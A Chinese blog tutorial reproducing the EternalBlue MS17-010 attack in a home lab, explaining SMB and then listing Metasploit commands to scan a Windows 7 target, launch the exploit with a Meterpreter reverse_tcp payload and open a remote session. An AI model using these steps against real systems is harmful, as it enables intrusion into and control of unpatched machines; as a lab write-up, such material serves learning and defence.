本文主要是介绍永恒之蓝 MS17-010 漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
永恒之蓝 MS17-010 漏洞复现
文章目录
- 永恒之蓝 MS17-010 漏洞复现
- 何为永恒之蓝?
- 一、什么是SMB协议
- SMB工作原理是什么?
- 二、实验环境:
- 三、实验步骤:
- 总结
何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
一、什么是SMB协议
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
SMB工作原理是什么?
(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
二、实验环境:
1.使用kali 和windows 7旗舰版(kali作为攻击主机,windows 7旗舰版作为靶机)
2.设置kali 的IP地址为自动获取,查看kali IP地址:ifconfig
可以看到kali 的IP地址是192.168.127.131
3.设置windows 7的IP地址为自动获取,查看windows 7的IP地址:ipconfig
可以看见windows 7 的IP地址为192.168.127.134
三、实验步骤:
1.测试两台主机的连通性:用kali 去Ping windows 7的主机,来测试连通性:ping 192.168.127.134
(记得关掉靶机的防火墙)
可以看见两台主机连通性良好
2.查看kali 主机数据库是否开启:service postgresql status
由上图可以看出:Active:inactive (dead)说明数据库此时是关闭的;
3.打开kali 主机的数据库: service postgresql start
4.再次查看kali 主机的数据库:service postgresql status
由上图可以看出:Active:active (exited)
说明此时数据库已经打开
5.进行msfdb 数据库初始化,配置数据库相关信息:msfdb init
此时就可以进行永恒之蓝漏洞扫描,(永恒之蓝利用的是ms17_010漏洞,因此到这一步之后的任务就是在kali 里寻找ms17_010漏洞,并且利用该漏洞进行攻击,获得windows 7 的管理员权限)
6.启动msf:msfconsole
这样就成功进入了msf中,(每个人每次进去都会有不同的界面出现)
7.查看数据库连接情况:在msf命令提示符下:db_status
(下面的msf命令提示符也说明了已经进入了msf中)
postgresql connected to msf
说明已经成功连接到了msf
8.搜索ms17_010:search ms17_010
如果多次还是没有发现上述界面,那么有可能是kali 版本太低,没有ms17_010漏洞,所以建议安装更新版本的kali
9.使用ms17_010模块进行漏洞扫描
扫描命令:use auxiliary/scanner/smb/smb_ms17_010
攻击命令(后面使用):use exploit/windows/smb/ms17_010_eternalblue
10.如果不知道应该使用什么命令,则输入options来获得帮助
在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
11.设置扫描的主机或者主机段(由于靶机IP地址是192.168.127.134,因此设置扫描主机段为192.168.127.131/24):set rhosts 192.168.223.141/24;然后设置扫描线程为20;最后输入run执行扫描。
12.进行攻击:use exploit/windows/smb/ms17_010_eternalblue
设置攻击目标(靶机):set rhost 192.168.127.134设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp设置监听主机(kali):set lhost 192.168.127.131
利用exploit进行攻击:exploit
①:表示永恒之蓝覆盖成功完成
②:目标主机和攻击机建立了了一个shell连接,会话为session 1
③:得到一个meterpreter会话,尝试获取shell失败
④:在meterpreter会话下输入ps就能获得目标主机的当前进程
注: meterpreter是metasploit框架中的一个扩展模块,是后渗透攻击中的杀手锏,使用meterpreter作为攻击载荷,建立连接后可以对目标系统进行更深入的渗透,meterpreter模块之后渗透攻击
到这里漏洞攻击已经成功,接下来要做的就是后渗透攻击,涉及到权限提升,跳板攻击,密码哈希值获取,获取shell以及其他更多信息
参考优秀文章如下:
永恒之蓝漏洞复现
永恒之蓝漏洞复现
总结
通过这次复现学习了不少知识 学不会的东西可以多查一查文章 多试试 有时候不知道哪里错啦 可以去问一问这方面的师父 但是通过自己来解决问题的时候 感觉是很不一样的!
附上windows7的镜像
链接:https://pan.baidu.com/s/1TWDS_VJO2LOqlKniR__4uA
提取码:more
复制这段内容后打开百度网盘手机App,操作更方便哦
这篇关于永恒之蓝 MS17-010 漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!